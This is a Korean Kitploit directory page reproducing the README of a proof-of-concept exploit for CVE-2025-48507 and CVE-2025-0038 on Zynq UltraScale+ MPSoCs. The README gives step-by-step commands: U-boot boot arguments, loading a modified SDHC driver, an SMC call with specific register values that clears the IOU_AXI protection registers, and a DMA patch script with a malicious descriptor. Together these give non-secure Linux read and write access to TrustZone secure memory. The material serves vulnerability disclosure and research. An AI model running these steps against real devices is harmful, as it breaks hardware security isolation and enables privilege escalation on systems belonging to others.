Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PoC_CVE-2025-48507 — CVE-2025-48507의 개념 증명입니다. 이 보안 결함은 비보안 소프트웨어(예: Linux)가 Trust Zone을 무너뜨리고 Secure world에 접근하는 데 악용될 수 있습니다. | Kitploit
도구/GitHubGitHub/jdbonfils/poc_cve-2025-48507
Embedded Systems SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingHardware SecurityRed TeamingBinary Exploitation
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

CVE-2025-48507의 개념 증명입니다. 이 보안 결함은 비보안 소프트웨어(예: Linux)가 Trust Zone을 무너뜨리고 Secure world에 접근하는 데 악용될 수 있습니다.

저장소 보기
29개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Zynq UltraScale+ MPSoCs에서 TrustZone 무력화 - CVE-2025-48507 및 CVE-2025-0038에 대한 개념 증명

비보안 소프트웨어는 CVE-2025-48507 및 CVE-2025-0038을 악용하여 Zynq UltraScale+ 플랫폼에서 Secure World에 대한 읽기/쓰기 액세스 권한을 얻을 수 있으며, 이를 통해 TrustZone 격리를 무력화합니다. 이를 위해 비보안 소프트웨어는 CVE-2025-0038 및 CVE-2025-48507을 악용하여 IOU_AXI_WPRTCN 및 IOU_AXI_RPRTCN 레지스터(0xFF240000)를 클리어하여 SD 호스트 컨트롤러를 보안 마스터로 전환합니다. 그런 다음 비보안 소프트웨어(예: Linux)는 SD 호스트 컨트롤러(슬레이브 인터페이스는 여전히 비보안)를 활용하여 모든 보안 메모리에 쓰거나 읽습니다.

추가 정보:

  • AMD 보안 게시판:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • PoC의 PowerPoint 프레젠테이션: /doc/PoC_Exploit_presentation.pdf
  • PoC 동영상: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • 원본 연구 논문 (섹션 5.5): /doc/preprint.pdf

영향받는 플랫폼:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

영향받는 구성 요소:

  • Cortex-A 프로세서용 Arm Trusted Firmware (TF-A) 및 PMU 펌웨어 버전 2025.1 이하.

이 저장소의 구성:

  • source/ : Zynq UltraScale+ MPSoCs (ZC104)에서 이 PoC를 재현하기 위한 소스

    • CVE-2025-48507 및 CVE-2025-0038을 활용하기 위해

      • smc-tt.c: 비보안 Linux가 임의의 SMC 호출을 실행할 수 있게 해주는 기본 커널 모듈.

      • Makefile: 커널 모듈 크로스 컴파일을 위한 Makefile (경로는 조정해야 함).

    • CVE-2025-0038 및 CVE-2025-48507을 악용하기 위해

      • sdhc.c: SD 호스트 컨트롤러(SDHC)를 사용하여 DMA 공격을 수행할 수 있도록 수정된 SDHC 드라이버
      • dma_patch.sh: 수정된 SDHC 드라이버를 사용하여 SDHC의 DMA 기능을 통해 임의의 메모리 영역을 패치하는 편리한 스크립트
  • doc/ : TF-A 및 PMU 수준의 보안 취약점을 상세히 설명하는 프레젠테이션 및 연구 논문.

  • hw_debug/: APU 및 PMU 프로세서에서 TF-A를 디버깅하기 위한 하드웨어 디버거 스크립트. PMU 펌웨어 및 TF-A의 영향을 받는 함수를 디버깅하고 공격 성공을 확인하는 환경을 제공합니다. 이 스크립트는 Trace32 및 Lauterbach PowerDebug PRO JTAG 하드웨어 디버거와 함께 사용됩니다. 하드웨어 디버거는 ZCU104의 JTAG 포트(J180)에 연결되어 있습니다.

공격 재현

환경 구축:
  1. 영향을 받는 환경(예: Linux, TF-A, PMU 펌웨어...)을 구축합니다.

    • 예: Petalinux 사전 빌드 이미지, Yocto, Petalinux 도구...
  2. Linux를 빌드할 때 kconfig를 통해 SDHC 드라이버를 로드 가능한 커널 모듈로 설정합니다. 이는 악용에만 필요합니다.

    • MMC_SDHCI=M
  3. 커널 모듈 smc-tt.c 및 sdhci.c를 컴파일합니다. 제공된 Makefile을 커널 및 컴파일러 경로를 조정하여 사용할 수 있습니다.

  4. CVE를 활용하려면 smc-tt.ko를 Linux rootfs에 추가합니다.

  5. CVE 악용을 위해 sdhci.ko 및 dma_patch.sh를 Linux rootfs에 추가합니다.

CVE의 PoC 및 악용:

PoC에서 시스템(예: fslb, uboot...)은 SD 카드에서 부팅되었습니다. Linux의 rootfs는 USB에 플래시되었습니다. DMA 공격을 위해 Linux는 수정된 SDHC 드라이버(sdhci.ko)로 구동되는 SD 호스트 컨트롤러가 액세스하는 SD 카드의 빈 파티션을 사용했습니다.

CVE만 테스트하려면 2, 3, 5단계를 건너뛸 수 있습니다.

  1. USB 파티션에 rootfs를 두고 Linux를 비보안 세계에서 부팅하기 위한 U-boot 명령어:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. 수정된 SDHC 드라이버를 삽입하여 임의 DMA 액세스 수행:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. 수정된 SDHC 드라이버를 활용하여 보안 메모리 패치 시도. SDHC가 여전히 비보안이므로 실패해야 합니다:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: 페이로드

    • ARG2: 악성 DMA 액세스를 수행하기 위한 악의적인 디스크립터.

      • 예: '\x00\x00\xdc\xff\x20\x00\x23\x00'은 주소 0xFFDC0000에 0x20바이트를 패치합니다. \x23\x00은 그대로 두어야 합니다
    • ARG3: 수정된 SDHC 드라이버가 제어하는 SD 호스트 컨트롤러가 관리하는 장치 파티션.

      • 예: /dev/mmcblk0p3
  4. IOU_AXI_WPRTCN 및 IOU_AXI_RPRTCN(0xFF240000)을 클리어하기 위해 CVE 악용:

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: 영향을 받는 SMC 호출 (PM_FPGA_READ).

    • 0xff24000000000100: 클리어할 주소(0xFF240000) (즉, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) 및 클리어할 바이트 수(0x00000100)

    • 0x100000000: PL 데이터를 메인 메모리로 다시 읽어옵니다(0x1). 로드된 것이 없으므로 단순히 대상 메모리 영역을 클리어합니다.

    • PM_FPGA_READ 매개변수에 대한 자세한 정보: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

이제 Linux는 SDHC DMA를 활용하여 보안 메모리에 완전히 액세스할 수 있습니다

도구 다운로드
  • 보안 메모리(0xFFDC0000)를 다시 패치 시도. SDHC가 이제 보안 상태이므로 성공해야 합니다:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3